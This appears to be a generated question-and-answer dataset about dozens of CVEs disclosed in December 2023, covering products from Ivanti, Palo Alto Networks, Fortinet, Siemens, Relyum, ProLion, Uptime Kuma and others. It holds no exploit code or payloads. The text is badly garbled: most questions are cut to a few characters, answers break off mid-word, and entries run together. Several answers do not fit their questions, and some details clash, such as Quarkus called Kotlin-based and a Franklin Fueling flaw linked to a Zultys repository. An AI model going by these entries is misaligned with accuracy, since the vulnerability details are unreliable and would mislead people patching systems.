How can users mitigate the risk? To mitigate the vulnerability CVE-2023-41719, users of affected versions of Ivanti Connect

What type of attacks are possible? Possible attacks due to CVE-2023-41719 could involve an unauthenticated attacker impersonating

Where can more information be found? More information about CVE-2023-41719 can be found in the Ivanti security forum through the link

When was the vulnerability published? The vulnerability CVE-2023-41719 was published on 14 December 2023.

Are there direct code examples? Direct code examples for exploitation of CVE-2023-41719 are not provided as it is unethical to do so.

What is the reference ID? The vulnerability in the Arduino Create Agent is identified as CVE-2023-49296.

Can you describe the vulnerability? CVE-2023-49296 describes a vulnerability in the Arduino Create Agent wherein the endpoint

Which version(s) is impacted? Versions of the Arduino Create Agent prior to 1.3.6 are impacted by the vulnerability represented by CVE-2023-49296.

What fix is available? The fix for the vulnerability described in CVE-2023-49296 is available in version 1.3.6 of the Arduino Create Agent.

When was the fix published? The vulnerability CVE-2023-49296 was published on 13 December 2023.

Where can more information be found? More information and the patch for CVE-2023-49296 can be found at the GitHub commit linked below.

What type of attack is possible? The vulnerability CVE-2023-49296 enables a Reflected Cross-Site Scripting (XSS) attack.

How might an attacker exploit the vulnerability? An attacker could exploit CVE-2023-49296 by crafting a malicious link and persuading a victim to click on it.

What is the impact if exploited? If an attack exploiting CVE-2023-49296 is successful, the attacker would be able to execute arbitrary JavaScript code in the context of the victim's browser.

What is the Common Vulnerability Score (CVS)? CVE-2023-6794 is a security vulnerability identified in the Palo Alto Networks PAN-OS software.

When was the vulnerability published? The vulnerability CVE-2023-6794 was published on 13 December 2023.

What type of attack is possible? To exploit CVE-2023-6794, an attacker would need to be an authenticated read-write administrator.

How can it impact the system? CVE-2023-6794 can impact the security of a firewall by allowing an attacker who has exploited the vulnerability to gain unauthorized access.

Where can more information be found? More information about CVE-2023-6794 can be obtained from Palo Alto Networks' security advisory.

What is the base score? The base score for CVE-2023-6794 was not available or specified in the provided information.

Can you describe the attack scenario? A potential attack scenario for CVE-2023-6794 could involve a malicious actor who has somehow gained access to the system and exploited the vulnerability.

Has Palo Alto Networks provided specific information on patches or mitigations? For specific information on patches or mitigations provided by Palo Alto Networks for CVE-2023-6794, refer to the security advisory.

What is the reference ID? The vulnerability is identified as CVE-2023-6791.

What type of vulnerability is it? CVE-2023-6791 is a credential disclosure vulnerability.

Which versions are affected? The specific versions of Palo Alto Networks PAN-OS affected by CVE-2023-6791 have not been explicitly listed.

Who can exploit it? CVE-2023-6791 can be exploited by an authenticated read-only administrator.

What kind of attack is possible? By exploiting CVE-2023-6791, an attacker can obtain the plaintext credentials of stored external accounts.

How can it be mitigated? The vulnerability CVE-2023-6791 enables the compromise of credentials by allowing a remote attacker to read them.

Has a base score been assigned? As of the available information, no base score has been assigned to CVE-2023-6791.

When was the vulnerability published? The vulnerability CVE-2023-6791 was published on 13 December 2023.

Are there any details about the vulnerability? Yes, more details about CVE-2023-6791 can be found at the provided reference link: <https://www.paloaltonetworks.com/security-advisories/palo-alto-networks-pan-os-cve-2023-6791>.

What are possible attack scenarios? Possible attack scenarios for CVE-2023-6791 include an authenticated read-only administrator exploiting the vulnerability to gain unauthorized access.

What is the Common Vulnerability Score (CVS)? CVE-2023-6790 refers to a security vulnerability identified in Palo Alto Networks PAN-OS software.

What type of attack is possible? CVE-2023-6790 is a DOM-Based cross-site scripting (XSS) vulnerability.

What software is affected? The software affected by CVE-2023-6790 is Palo Alto Networks PAN-OS software.

What could an attacker do? By exploiting CVE-2023-6790, an attacker could execute a JavaScript payload in the context of the user.

How can it be exploited? CVE-2023-6790 can be exploited by a remote attacker by convincing an administrator to click on a malicious link.

Are there a To remediate CVE-2023-6790, users should refer to the security advisory provided by Palo
On what d: CVE-2023-6790 was published on 13 December 2023.

Where can More information about CVE-2023-6790 can be found on the Palo Alto Networks security a

What is the The base score for CVE-2023-6790 is not available at the moment. For the most current sc

Can you gi An attack scenario for CVE-2023-6790 could involve an attacker sending a phishing email t

What is CV CVE-2023-6789 is a security vulnerability identified in Palo Alto Networks PAN-OS software

When was CVE-2023-6789 was published on 13 December 2023.

Has a base As of the provided information, a base score has not been assigned to CVE-2023-6789.

Where can More information about CVE-2023-6789 can be found at the following URL: <https://securit>

Could you | A possible attack scenario for CVE-2023-6789 involves a malicious insider with read-write :

What is CV CVE-2023-46713 refers to a security vulnerability found in Fortinet FortiWeb versions 6.2.0

What type CVE-2023-46713 describes an improper output neutralization for logs vulnerability, which

Which vers CVE-2023-46713 affects multiple versions of Fortinet FortiWeb including 6.2.0 - 6.2.8, 6.3.0

What coul By exploiting CVE-2023-46713, an attacker could forge traffic logs. This means the attacker

How woulc To exploit CVE-2023-46713, an attacker would need to send a request to the web applicati

Has CVE-2023-46713 information on whether CVE-2023-46713 has been publicly disclosed or exploited is not pr

Where can More information about CVE-2023-46713 can be found in the specific advisory released by

What is the The CVE ID of the vulnerability discovered in Fortinet FortiSandbox is CVE-2023-45587.

Can you de CVE-2023-45587 refers to an improper neutralization of input during web page generation

Which vers The versions of Fortinet FortiSandbox affected by CVE-2023-45587 are 4.4.1, 4.4.0, 4.2.0 th

When was The CVE-2023-45587 vulnerability was publicly disclosed on 13 December 2023.

What kind Leveraging the CVE-2023-45587 vulnerability, an attacker could carry out a cross-site scriptin

Is there a E As of the latest information provided, there is no Base Score assigned to CVE-2023-45587.

Where can More information about the CVE-2023-45587 vulnerability can be found at Fortinet's offici

What is an A recommended mitigation step for users affected by CVE-2023-45587 would be to apply a

What is the The CVE ID for the cross-site scripting vulnerability in Fortinet FortiSandbox is CVE-2023-41

Which vers The following Fortinet FortiSandbox versions are affected by CVE-2023-41844: 4.4.1, 4.4.0,

What is the CVE-2023-41844 describes an improper neutralization of input during web page generatio

How can ai An attacker can exploit the vulnerability in CVE-2023-41844 by sending crafted HTTP requ

When was CVE-2023-41844 was published on 13 December 2023.

What is the The base score for CVE-2023-41844 is not available ('N/A').

Are there a Yes, details about CVE-2023-41844 can be found in the official advisory published by Fortir

Can you gi A possible attack scenario for exploiting CVE-2023-41844 could involve an attacker crafting

What is CV CVE-2023-47578 is a vulnerability in certain Relyum devices, specifically the RELY-PCIe ver:

When was CVE-2023-47578 was published on 13 December 2023.

Which Rely The Relyum devices affected by CVE-2023-47578 are the RELY-PCIe 22.2.1 and RELY-REC 22

What type CVE-2023-47578 can enable Cross Site Request Forgery (CSRF) attacks, which could allow a

Where can More information about CVE-2023-47578 can be found on the official Relyum support pag

What imm Administrators of affected Relyum devices should immediately check for updates or patch

Can you de In an attack scenario exploiting CVE-2023-47578, an attacker could craft a malicious web p

What is CV CVE-2023-47576 is a security vulnerability that was discovered in Relyum RELY-PCIe 22.2.1

How does i CVE-2023-47576 impacts Relyum devices by providing an attack vector for an authenticate

As of the p As of the published date, there is no base score assigned to CVE-2023-47576. The absence

When was CVE-2023-47576 was published on 13 December 2023.

Where can More information regarding CVE-2023-47576 can be found on Relyum's official vulnerability page? While specific code examples for CVE-2023-47576 are not detailed in the provided information, what are possible attack scenarios for this vulnerability?

What is CV? CVE-2023-47575 refers to a security issue that was discovered in Relyum RELY-PCIe 22.2.1 devices. What type? The devices affected by CVE-2023-47575 are Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0. Has a base score? As of the information presented, no base score has been assigned to CVE-2023-47575.

When was CVE-2023-47575 published? CVE-2023-47575 was published on December 13, 2023.

Where can More information about CVE-2023-47575 can be found at the official Relyum support resources? Can you provide an example of a reflected XSS attack that could exploit CVE-2023-47575? What are possible attack scenarios for CVE-2023-47575? What is CV? CVE-2023-47573 refers to a security issue identified in Relyum RELY-PCIe 22.2.1 devices. What type? CVE-2023-47573 is a vulnerability related to improper authorization checks in the web interface. When was CVE-2023-47573 published? CVE-2023-47573 was published on 13 December 2023.

Are there any further details about the vulnerability CVE-2023-47573? CVE-2023-47573 can be found at the following link: [link]. What are the authorization vulnerability details? CVE-2023-47573 could allow attackers to gain unauthorized access. Can you provide more details? Due to the nature of CVE-2023-47573, actual exploit code would be highly specific to the vulnerable software version.

What might an attack scenario involving CVE-2023-47573 involve? An attack scenario involving CVE-2023-47573 could involve an adversary with lawful access to the network. What is the CVE ID for the vulnerability found in the Nautobot application? The CVE ID for the vulnerability found in the Nautobot application is CVE-2023-50263.

Which versions of Nautobot are affected by CVE-2023-50263? The vulnerability CVE-2023-50263 affects Nautobot versions 1.x and 2.0.x prior to 1.6.7 and 2.0.6. What does CVE-2023-50263 pertain to? CVE-2023-50263 pertains to an issue where the URLs `/files/get/?name=...` and `/files/dow

How can an attacker exploit CVE-2023-50263? An attacker can exploit CVE-2023-50263 by guessing or obtaining the names of files uploaded to the system.

What are the CVE-2023-50263 vulnerability details? The CVE-2023-50263 vulnerability has been fixed in Nautobot versions 1.6.7 and 2.0.6.

Are there any known workarounds for the CVE-2023-50263 vulnerability? There are no known workarounds for the CVE-2023-50263 vulnerability; the recommended course of action is to upgrade to a patched version.

Where can More information and the commits that address CVE-2023-50263 be found in the source code?

What kind of platform is Nautobot? Nautobot is a Network Source of Truth and Network Automation Platform that operates as a web-based application.

Was CVE-2023-50263 assigned a Base Score? No, a Base Score for CVE-2023-50263 was not provided at the time of its publication.

On what date was CVE-2023-50263 published? CVE-2023-50263 was published on 12 December 2023.

What is the CVE ID for the recently discovered cross-site scripting vulnerability in Umbraco? The CVE ID for the recently discovered cross-site scripting vulnerability in Umbraco is CVE-2023-48313.

Which versions of Umbraco are affected by CVE-2023-48313? The CVE-2023-48313 vulnerability affects Umbraco versions starting from 10.0.0 and prior to 11.0.0.

What type of vulnerability is CVE-2023-48313? CVE-2023-48313 describes a cross-site scripting (XSS) vulnerability in the Umbraco content management system.

Are there any patched versions available? Yes, patched versions of Umbraco for the CVE-2023-48313 vulnerability are available. Versions 11.0.0 and later are recommended.

On what date was CVE-2023-48313 published? The CVE-2023-48313 vulnerability was published on 12 December 2023.

Where can More information or advisories related to CVE-2023-48313 be found? More information or advisories related to CVE-2023-48313 can be found at <https://github.com/Umbraco/Umbraco-CMS/security/advisories>.

What kind of vulnerability is CVE-2023-48313? The CVE-2023-48313 vulnerability could enable attackers to perform cross-site scripting (XSS).

Are there any example code snippets for exploitation? Example code snippets for exploitation of CVE-2023-48313 are generally not provided as part of the advisory.

What is the CVE ID for the reported vulnerability in SINEC INS? The CVE ID for the reported vulnerability in SINEC INS is CVE-2023-48429.

Can you describe the vulnerability? The vulnerability, identified with CVE-2023-48429, in SINEC INS is related to the Web UI of the system.

Has a base score? As of the information available, no base score has been assigned to CVE-2023-48429.

When was CVE-2023-48429 published? CVE-2023-48429 was published on 12 December 2023.

Which versions of SINEC INS are affected by CVE-2023-48429? CVE-2023-48429 affects all versions of SINEC INS that are earlier than V1.0 SP2 Update 2.

Where can More detailed information regarding CVE-2023-48429 be found in the Siemens product documentation?

What might an attack scenario for CVE-2023-48429 involve? A potential attack scenario for CVE-2023-48429 would involve a malicious administrator exploiting the vulnerability to gain unauthorized access.

What are the steps to address CVE-2023-48429? To address CVE-2023-48429, administrators should update their SINEC INS systems to V1.0 SP2 Update 2.

What is CV? CVE-2023-46282 is an identifier for a security vulnerability which pertains to a reflected cross-site scri

Which Siemens applications affected by CVE-2023-46282 are Opcenter Quality (All versions), What could With the CVE-2023-46282 vulnerability, an attacker could inject arbitrary JavaScript code into Was there For some of the affected applications, patches or updates have been released to mitigate (How was t The public was informed about CVE-2023-46282 through an advisory published by Siemens Can you pr An example of a reflected cross-site scripting attack that could be possible due to CVE-2023-46282? What is t The impact of an XSS attack leveraging CVE-2023-46282 can vary, but it often includes una What speci CVE-2023-46282 is classified as a reflected cross-site scripting (XSS) vulnerability. This type What is CV CVE-2023-46281 refers to a security vulnerability found in several Siemens products, includ Which pro CVE-2023-46281 affects numerous Siemens products, such as Opcenter Quality (All version What is t The security issue in CVE-2023-46281 lies in the implementation of CORS policy within the What kind The overly permissive CORS policy in CVE-2023-46281 could enable several types of attack How was C CVE-2023-46281 was disclosed publicly on December 12, 2023, through a security advisory Has CVE-2023-46281 As of the information present, CVE-2023-46281 has not been assigned a CVSS base score. \ What can t Users of the affected Siemens products should review the security advisory provided by Si What is CV CVE-2023-38380 is a reported vulnerability affecting several Siemens SIMATIC CP commun Which pro The products affected by CVE-2023-38380 include a range of communication processors fr What type CVE-2023-38380 exposes a denial-of-service vulnerability due to the webserver's failure to How can C An attacker can exploit CVE-2023-38380 by sending specially crafted network packets to th What mitig To mitigate CVE-2023-38380, users are advised to consult the official advisory from Sieme Where can Detailed information about CVE-2023-38380 is available in an official security advisory fror What is CV CVE-2022-47374 is a security vulnerability identified in multiple Siemens SIMATIC and SIN What pro The products affected by CVE-2022-47374 include SIMATIC PC-Station Plus (All versions), s What is t CVE-2022-47374 could potentially be exploited to perform a denial of service (DoS) attack. How was C CVE-2022-47374 was officially disclosed to the public through a Siemens security advisory, What kind Although the CVE-2022-47374 description does not include a base score or detailed mitiga Can you pr An example scenario for the impact of CVE-2022-47374 could be an industrial environmen What is CV CVE-2023-4958 is a vulnerability identified in Red Hat Advanced Cluster Security (RHACS) \ When was CVE-2023-4958 was published on 12 December 2023. What kind CVE-2023-4958 can facilitate a clickjacking attack. In a clickjacking attack, an attacker tricks How might An attacker could exploit CVE-2023-4958 by convincing a valid RHACS user to visit an attac Are there a Yes, further information about CVE-2023-4958 can be found in the following references:- R What is t The Base Score for CVE-2023-4958 is not available (N/A). What type CVE-2023-49563 describes a Cross Site Scripting (XSS) vulnerability in Voltronic Power SNN What versi Version 1.1 of Voltronic Power SNMP Web Pro is affected by the XSS vulnerability detailed What kind An attacker can execute arbitrary code on the affected webserver through CVE-2023-49563 On what d CVE-2023-49563 was published on 12 December 2023. Are there a Yes, there is a reference link available for CVE-2023-49563: <https://gist.github.com/ph4ntom/1234567890> What is t The base score for CVE-2023-49563 is not available (N/A). Can you gi In an XSS attack scenario that exploits CVE-2023-49563, an attacker could send a malicious How can s To mitigate the XSS vulnerability presented by CVE-2023-49563, system administrators shou What is CV CVE-2023-48642 refers to a security vulnerability found in the Archer Platform versions 6.0+ What vers The vulnerability CVE-2023-48642 affects all versions of the Archer Platform in the 6.x seri What type CVE-2023-48642 is classified as an authenticated HTML content injection vulnerability. It e How was C The vulnerability identified as CVE-2023-48642 was addressed in the Archer Platform by re

What could By exploiting CVE-2023-48642, a malicious user with authenticated access could store mal When was CVE-2023-48642 was publicly disclosed on 12 December 2023, at which point information Where can More information about CVE-2023-48642 can be found through the provided reference UF Describe a A possible attack scenario for CVE-2023-48642 could involve a malicious user with valid cre What is CV CVE-2023-6542 refers to a security vulnerability found in the Emarsys SDK for Android that How sever The base severity score for CVE-2023-6542 has not been provided in the information. To u When was CVE-2023-6542 was published on 12 December 2023.

Where can More information about CVE-2023-6542 can be found through the provided references. SA Could you | A possible attack scenario for CVE-2023-6542 might involve an attacker creating a malicio What is the If CVE-2023-6542 is successfully exploited, it could have various impacts, including the corr What is CV CVE-2023-42890 refers to a security vulnerability that was present in various Apple operat How was t| The vulnerability identified by CVE-2023-42890 was addressed through improved memory Which App The CVE-2023-42890 vulnerability affected a range of Apple products, including Safari 17.2 When was CVE-2023-42890 was publicly disclosed on 12 December 2023.

What pote The impact of CVE-2023-42890 could have been significant as it involved the potential for : Where can Information and advisories related to CVE-2023-42890 can be found on various security bu What are p Possible attack scenarios for CVE-2023-42890 might involve crafting malicious web conten What is CV CVE-2023-42476 is a security vulnerability identified in SAP Business Objects Web Intellige When was CVE-2023-42476 was published on December 12, 2023.

What type The type of attack associated with CVE-2023-42476 is a cross-site scripting (XSS) attack, wh Which vers The specific version of SAP Business Objects Web Intelligence affected by CVE-2023-42476 Where can More information or advisories related to CVE-2023-42476 can be found at the following L What is the The base score for CVE-2023-42476 has not been assigned or is not available at the momen Could you | A possible attack scenario for CVE-2023-42476 would involve an authenticated attacker cr What are t The potential consequences of an attack exploiting CVE-2023-42476 include the unauthoriz What is CV CVE-2023-36651 refers to a security vulnerability found in ProLion CryptoSpike version 3.0 Which pro The product affected by CVE-2023-36651 is ProLion CryptoSpike 3.0.15P2.

What type CVE-2023-36651 enables an unauthorized remote attack whereby attackers can log in as t Has a base As of the information provided, a base score has not yet been assigned to CVE-2023-36651 What is the Exploiting CVE-2023-36651 could allow an attacker to gain unauthorized access with the hi What is the Users affected by CVE-2023-36651 should visit the reference provided, such as the one fro On what d: CVE-2023-36651 was published on 12 December 2023.

Can you de An attacker could scan for and identify an instance of ProLion CryptoSpike 3.0.15P2 access Where can More details about CVE-2023-36651 can be found at the reference link provided, for exam What is CV CVE-2023-36649 is a security vulnerability identified in ProLion CryptoSpike version 3.0.15 How can at Attackers can exploit CVE-2023-36649 by reading JWT tokens from logs if they have access When was CVE-2023-36649 was published on December 12, 2023.

Is there a b As of the information provided, there is no Base Score available for CVE-2023-36649. Are there a No specific code examples have been provided for CVE-2023-36649. Generally, vulnerabilit Can you di: Possible attack scenarios for CVE-2023-36649 include an attacker, potentially an insider wi What are t To learn more about CVE-2023-36649, one can refer to the link provided in the CVE details What is CV CVE-2023-36647 is a security vulnerability found in ProLion CryptoSpike version 3.0.15P2, ' How sever The Base Score for CVE-2023-36647 has not been assigned yet as of the information provic When was CVE-2023-36647 was published on 12 December 2023.

What prod CVE-2023-36647 affects ProLion CryptoSpike, specifically version 3.0.15P2.

What allow An attacker can exploit CVE-2023-36647 by using the hard-coded cryptographic private key

Are there ↗ Yes, more information about CVE-2023-36647 can be found at the following URL: <https://v>

What are p Potential attack scenarios for CVE-2023-36647 include a remote attacker using the disclosed

Can you gi While providing exact exploit code would be irresponsible, an example of exploiting CVE-21

What is CV CVE-2023-49805 is a vulnerability identified in Uptime Kuma, a self-hosted monitoring too

Which vers Uptime Kuma versions prior to 1.23.9 are affected by CVE-2023-49805.

How does ! CVE-2023-49805 affects Uptime Kuma by failing to validate the 'Origin' header in WebSock

What are t The exploitation of CVE-2023-49805 could allow an attacker to bypass firewall protections

What mitig To mitigate CVE-2023-49805, Uptime Kuma version 1.23.9 adds verification of the HTTP Or

How can u: Users can override the Origin check mitigation by setting the environment variable `UPTIN

What is an An attack scenario for CVE-2023-49805 could involve a malicious website using JavaScript↑

When was CVE-2023-49805 was published on 11 December 2023.

Can you pr Yes, the commit that addresses CVE-2023-49805 in Uptime Kuma can be found at: <https://v>

Where can The security advisory for CVE-2023-49805 can be found on GitHub at: <https://github.com/l>

What is CV CVE-2023-49803 refers to a security vulnerability found in the @koa/cors npm package, w|

How does ! The vulnerability CVE-2023-49803 compromises the Same Origin Policy by returning the 'A

What coul A potential attack scenario for CVE-2023-49803 could involve a malicious actor sending a r

How was C CVE-2023-49803 was mitigated in version 5.0.0 of @koa/cors by changing the middleware

Where can The official fix for CVE-2023-49803 can be found in the commit from GitHub repository of (

Can you pr An example of code affected by CVE-2023-49803 would be a Koa application using the @kc

When was CVE-2023-49803 was published on 11 December 2023.

What versi Versions of @koa/cors prior to 5.0.0 are affected by CVE-2023-49803. Version 5.0.0 includi

What type CVE-2023-49488 refers to a cross-site scripting (XSS) vulnerability.

Which soft The software affected by CVE-2023-49488 is Openfiler ESA version 2.99.1.

What does CVE-2023-49488 allows attackers to execute arbitrary web scripts or HTML by injecting a c

In CVE-202 In CVE-2023-49488, the 'nic' parameter is vulnerable to injection.

When was CVE-2023-49488 was published on 11 December 2023.

Are there ↗ Yes, more details about CVE-2023-49488 can be found at the following URL: <https://github>

Can you pr An example of an attack exploiting CVE-2023-49488 might involve the attacker crafting a n

What can ↗ By exploiting the vulnerability described in CVE-2023-49488, an attacker could perform ma

What is the The CVE ID of the vulnerability discovered in OJS is CVE-2023-6671.

Can you de CVE-2023-6671 refers to a Cross-Site Request Forgery (CSRF) vulnerability discovered in th

When was CVE-2023-6671 was published on 11 December 2023.

Are there ↗ Yes, more information about CVE-2023-6671 can be found in the advisory at INCIBE-CERT's

What is a p A possible attack scenario for CVE-2023-6671 includes an attacker crafting a malicious we

What has r As of the available information, a Base Score has not yet been assigned for CVE-2023-6671

What is CV CVE-2023-6659 is a critical vulnerability found in Campcodes Web-Based Student Clearanc

How can t! The vulnerability CVE-2023-6659 can be exploited by an attacker by manipulating the 'stuc

What can ↗ By exploiting CVE-2023-6659, an attacker can perform unauthorized operations on the dat

What are s Potential attack scenarios for CVE-2023-6659 include an attacker remotely sending a craft

Where can Additional details and information about CVE-2023-6659 can be found through various onli

What is the CVE-2023-6659 was published on 11 December 2023, alerting the public and potentially af

What is CV CVE-2023-47254 refers to a security vulnerability identified in the CLI interface on DrayTek

How severe? The Base Score for CVE-2023-47254 has not been assigned yet. Without the Base Score, it's difficult to assess the severity. What version does CVE-2023-47254 affect? DrayTek Vigor167 routers running version 5.2.2. Users of this specific router model are affected. Are there any public resources that discuss CVE-2023-47254? Yes, there are public resources that discuss CVE-2023-47254. Advisories have been published by multiple sources. What is the impact of this vulnerability? The vulnerability identified by CVE-2023-47254 could have a significant impact on affected systems, potentially leading to unauthorized access or data compromise. When was CVE-2023-47254 published?

When was CVE-2023-47254 published on 09 December 2023.

Can you describe an attack scenario involving CVE-2023-47254? An attack scenario involving CVE-2023-47254 would involve a remote attacker with credentials to any DrayTek Vigor167 router running version 5.2.2. The attacker could exploit the vulnerability to gain unauthorized access to the router's configuration or data.

What is CVSS score for CVE-2023-6394? The CVSS score for CVE-2023-6394 is 6.1. It is a security vulnerability identified in Quarkus, which is a Cloud Native, (Kotlin-based) Java framework.

When was CVE-2023-6394 published? CVE-2023-6394 was published on 09 December 2023.

What are the consequences of CVE-2023-6394? The consequences of CVE-2023-6394 include unauthorized access to secured GraphQL operations. How can it be mitigated? To mitigate CVE-2023-6394, users should refer to the resources provided by Red Hat, which include patches and documentation. Where can more information about CVE-2023-6394 be found? More information about CVE-2023-6394 can be found through the references provided in the Qualys web application.

Are there any specific code examples demonstrating the CVE-2023-6394 vulnerability? Specific code examples demonstrating the CVE-2023-6394 vulnerability are not provided in the dataset.

In what scenarios could an attacker exploit CVE-2023-6394? An attacker could exploit CVE-2023-6394 in scenarios where they have network access to a system running Quarkus and can send malicious GraphQL requests.

What is CVSS score for CVE-2023-6146? The CVSS score for CVE-2023-6146 refers to a security vulnerability identified in a Qualys web application. It is 6.1.

How severe? The Base Score for the severity of CVE-2023-6146 has not been provided in the dataset. The impact is unknown.

What type of vulnerability is CVE-2023-6146? CVE-2023-6146 is classified as a stored Cross-Site Scripting (XSS) vulnerability. Stored XSS vulnerabilities allow an attacker to inject malicious script into a victim's browser session.

When was CVE-2023-6146 published? CVE-2023-6146 was published on 08 December 2023.

Where can more information about CVE-2023-6146 be found? More information about CVE-2023-6146 can be found on the Qualys security advisories website.

Can you provide an example of an attack scenario for CVE-2023-6146? Let's assume there is a web application that logs user-provided browser details in an activity log. An attacker with access to the logs could exploit this vulnerability to steal sensitive information.

What is CVE-2023-48928? CVE-2023-48928 refers to a security vulnerability found in Franklin Fueling Systems System Sentinel AnyWare (SSA) version 1.0.0.

What type of vulnerability is CVE-2023-48928? CVE-2023-48928 is associated with an Open Redirect vulnerability. This type of flaw enables an attacker to redirect a user to a malicious website.

What versions of the software are affected? CVE-2023-48928 affects Franklin Fueling Systems System Sentinel AnyWare (SSA) version 1.0.0.

Can you provide an example exploit for CVE-2023-48928? An example exploit for CVE-2023-48928 may involve an attacker crafting a URL that contains a malicious redirect.

What kind of attack scenarios could enable this vulnerability? CVE-2023-48928 could enable attack scenarios like phishing attacks where a victim is tricked into clicking a link that leads to a malicious site.

Where can more information about CVE-2023-48928 be found? More information about CVE-2023-48928 can be found on GitHub at the following URL: <https://github.com/Zultys/Zultys-MX-SSA/tree/v1.0.0>.

What is CVSS score for CVE-2023-43743? CVE-2023-43743 is a vulnerability that refers to a SQL injection issue in several Zultys MX series products.

What type of vulnerability is CVE-2023-43743? CVE-2023-43743 is a SQL injection vulnerability, which is a type of injection attack that allows an attacker to execute arbitrary SQL queries.

Which Zultys MX series products are affected by CVE-2023-43743? The Zultys MX series products affected by CVE-2023-43743 include the MX-SE, MX-SE II, MX-PRO, and MX-PRO II.

How can an attacker exploit CVE-2023-43743? An attacker can exploit CVE-2023-43743 by sending specially crafted requests with a malicious payload.

What are the consequences of exploiting CVE-2023-43743? To exploit CVE-2023-43743, the attacker must be authenticated to the Zultys MX web interface.

Are there any patches available? Yes, patches for CVE-2023-43743 have been released. Users affected by this vulnerability should apply the patches as soon as possible.

What is the impact of CVE-2023-43743? The impact of CVE-2023-43743 on data integrity could be significant, as the SQL injection vulnerability allows an attacker to manipulate data.

What measures should administrators take? To protect against CVE-2023-43743, administrators of the affected Zultys MX products should update their software to the latest version and apply the available patches.

What software is affected by CVE-2023-6578? CVE-2023-6578 affects Software AG WebMethods, specifically versions 10.11.x and 10.15.x.

What type of vulnerability is CVE-2023-6578? CVE-2023-6578 is classified as a critical vulnerability due to improper access controls.

Where is the vulnerability located? The vulnerability CVE-2023-6578 is located in an unknown function of the file `wm.server/call`.

How can an attack be initiated? An attack exploiting CVE-2023-6578 can be initiated remotely by interacting with the file `wm.server/call`.

What happens when a user tries to access a file? In an application affected by CVE-2023-6578, when a user tries to access a file like `/assets/`, the application bypasses access restrictions.

What indicates this behavior? If a user visits `/invoke/wm.server/connect` on an application affected by CVE-2023-6578, the application will accept the connection even if the user has entered a wrong value in the URL.

What identifier is assigned to the vulnerability? CVE-2023-6578 has been assigned the identifier VDB-247158 within the vulnerability database.

What is the vendor's response? The vendor, Software AG, was contacted early about the disclosure of CVE-2023-6578 but did not provide a specific response.

What possible attack scenarios exist? Attack scenarios from CVE-2023-6578 could include unauthorized access to sensitive data, such as customer information or system configurations.

What is CV CVE-2023-6333 refers to a security vulnerability found in certain ControlByWeb Relay proc
How does t The CVE-2023-6333 affects users by compromising the security of their web session with tl
On what d: CVE-2023-6333 was published on December 7, 2023.

What type CVE-2023-6333 is classified as a stored cross-site scripting vulnerability, which is a form of
Is there a b As of the provided information, there is no Base Score assigned to CVE-2023-6333.

Can you pr Yes, for more detailed information regarding CVE-2023-6333, one can refer to the Industri:
What woul An example of a malicious script that might be used in an attack exploiting CVE-2023-6333

What coul A potential attack scenario for CVE-2023-6333 involves an attacker inserting a malicious sc

What is CV CVE-2023-33412 is a security vulnerability in the web interface of the Intelligent Platform I

Which devi The devices affected by CVE-2023-33412 are Supermicro X11 and M11 based devices that :

How can ai An attacker can exploit CVE-2023-33412 by gaining authenticated access to the web interf;

What kind CVE-2023-33412 is a command injection vulnerability that allows for remote code executio

Has CVE-2023-33412 Yes, Supermicro has addressed CVE-2023-33412. Users are directed to the Supermicro we

What are t In possible attack scenarios for CVE-2023-33412, a malicious actor with authenticated acce

Which secu Regularly updating the firmware and software to the latest versions is a security best pract

What is th The base score for CVE-2023-33412 was not available at the time of the release of the CVE

When was CVE-2023-33412 was published on 07 December 2023.

Where can More information about CVE-2023-33412 can be found on Supermicro's official website or

What is CV CVE-2023-33411 refers to a security vulnerability found in the Intelligent Platform Manage

Which devi CVE-2023-33411 affects Supermicro X11 and M11 based devices that are running firmware

What type CVE-2023-33411 represents a security threat that allows directory traversal by remote una

How was C CVE-2023-33411 was publicly disclosed on December 7, 2023. Detailed information about

Where can For more information or updates regarding CVE-2023-33411, you should visit Supermicro's

What migh An attack scenario involving CVE-2023-33411 might involve an attacker sending specially c

Has the ba: As of the provided information, the base score for CVE-2023-33411 has not been determin

What is CV CVE-2023-35039 refers to a security vulnerability identified in the 'Password Reset with Co

Which plug The plugin affected by CVE-2023-35039 is 'Password Reset with Code for WordPress REST

What type CVE-2023-35039 is a vulnerability that involves improper restriction of excessive authentic

What versi According to the CVE details, all versions of 'Password Reset with Code for WordPress RES'

What is th The vulnerability CVE-2023-35039 was published on 07 December 2023.

Are there a Yes, more information on CVE-2023-35039 can be found at the following reference URL: ht

Explain a p A potential attack scenario might involve an attacker making multiple attempts to guess th

What is CV CVE-2023-49225 is a security vulnerability identified in Ruckus Access Point products, spec

Which Ruc The affected Ruckus products include ZoneDirector, SmartZone, and AP Solo. To get the de

What kind CVE-2023-49225 is a cross-site-scripting (XSS) vulnerability, which is a type of security flaw

Where can More information about the affected products, models, and versions can be found on the '

What are t An attack exploiting CVE-2023-49225 could lead to the execution of arbitrary scripts on the

How can o: To mitigate the risk of CVE-2023-49225, affected users should check the references provid

What is th The CVE ID associated with the XSS issue in Zimbra Collaboration is CVE-2023-43103.

Which vers The vulnerability identified in CVE-2023-43103 affects Zimbra Collaboration (ZCS) versions

How has t: The XSS issue described in CVE-2023-43103 has been fixed in Zimbra Collaboration (ZCS) ir

What is th The vulnerability mentioned in CVE-2023-43103 is an XSS (Cross-Site Scripting) issue, whic

Can you pr Although specific code examples for CVE-2023-43103 are not provided, a general example

What pote An XSS vulnerability like the one in CVE-2023-43103 can have several impacts on a user or

Where can More information about the XSS issue reported in CVE-2023-43103 can be found on the of
When was The XSS vulnerability CVE-2023-43103 was publicly disclosed on 07 December 2023.

What is CV CVE-2023-6458 refers to a security vulnerability found in the Mattermost webapp, where t
Can you pr The vulnerability CVE-2023-6458 in the Mattermost webapp arises from the application nc
When was CVE-2023-6458 was published on 06 December 2023.

What is the As per the provided information, the Base Score for CVE-2023-6458 is not available ('N/A')

Where can Additional details about CVE-2023-6458 can be found on the Mattermost security updates

What migh An attack using CVE-2023-6458 could involve a malicious user crafting a specially designed

Has CVE-2023-6458 The information provided does not specify if CVE-2023-6458 has been patched. However, i

Are there e While specific code examples are not provided, one could imagine a scenario where the M

What is the The CVE ID of the vulnerability found in Pleasanter is CVE-2023-46688.

Can you pr CVE-2023-46688 refers to an open redirect vulnerability in Pleasanter version 1.3.47.0 and

Is there a E As of now, there is no Base Score assigned to CVE-2023-46688.

When was The CVE-2023-46688 vulnerability was published on 06 December 2023.

Where can More information regarding CVE-2023-46688 can be found at the following URLs: - <https://>

What is an A potential attack scenario for CVE-2023-46688 could involve an attacker sending an email
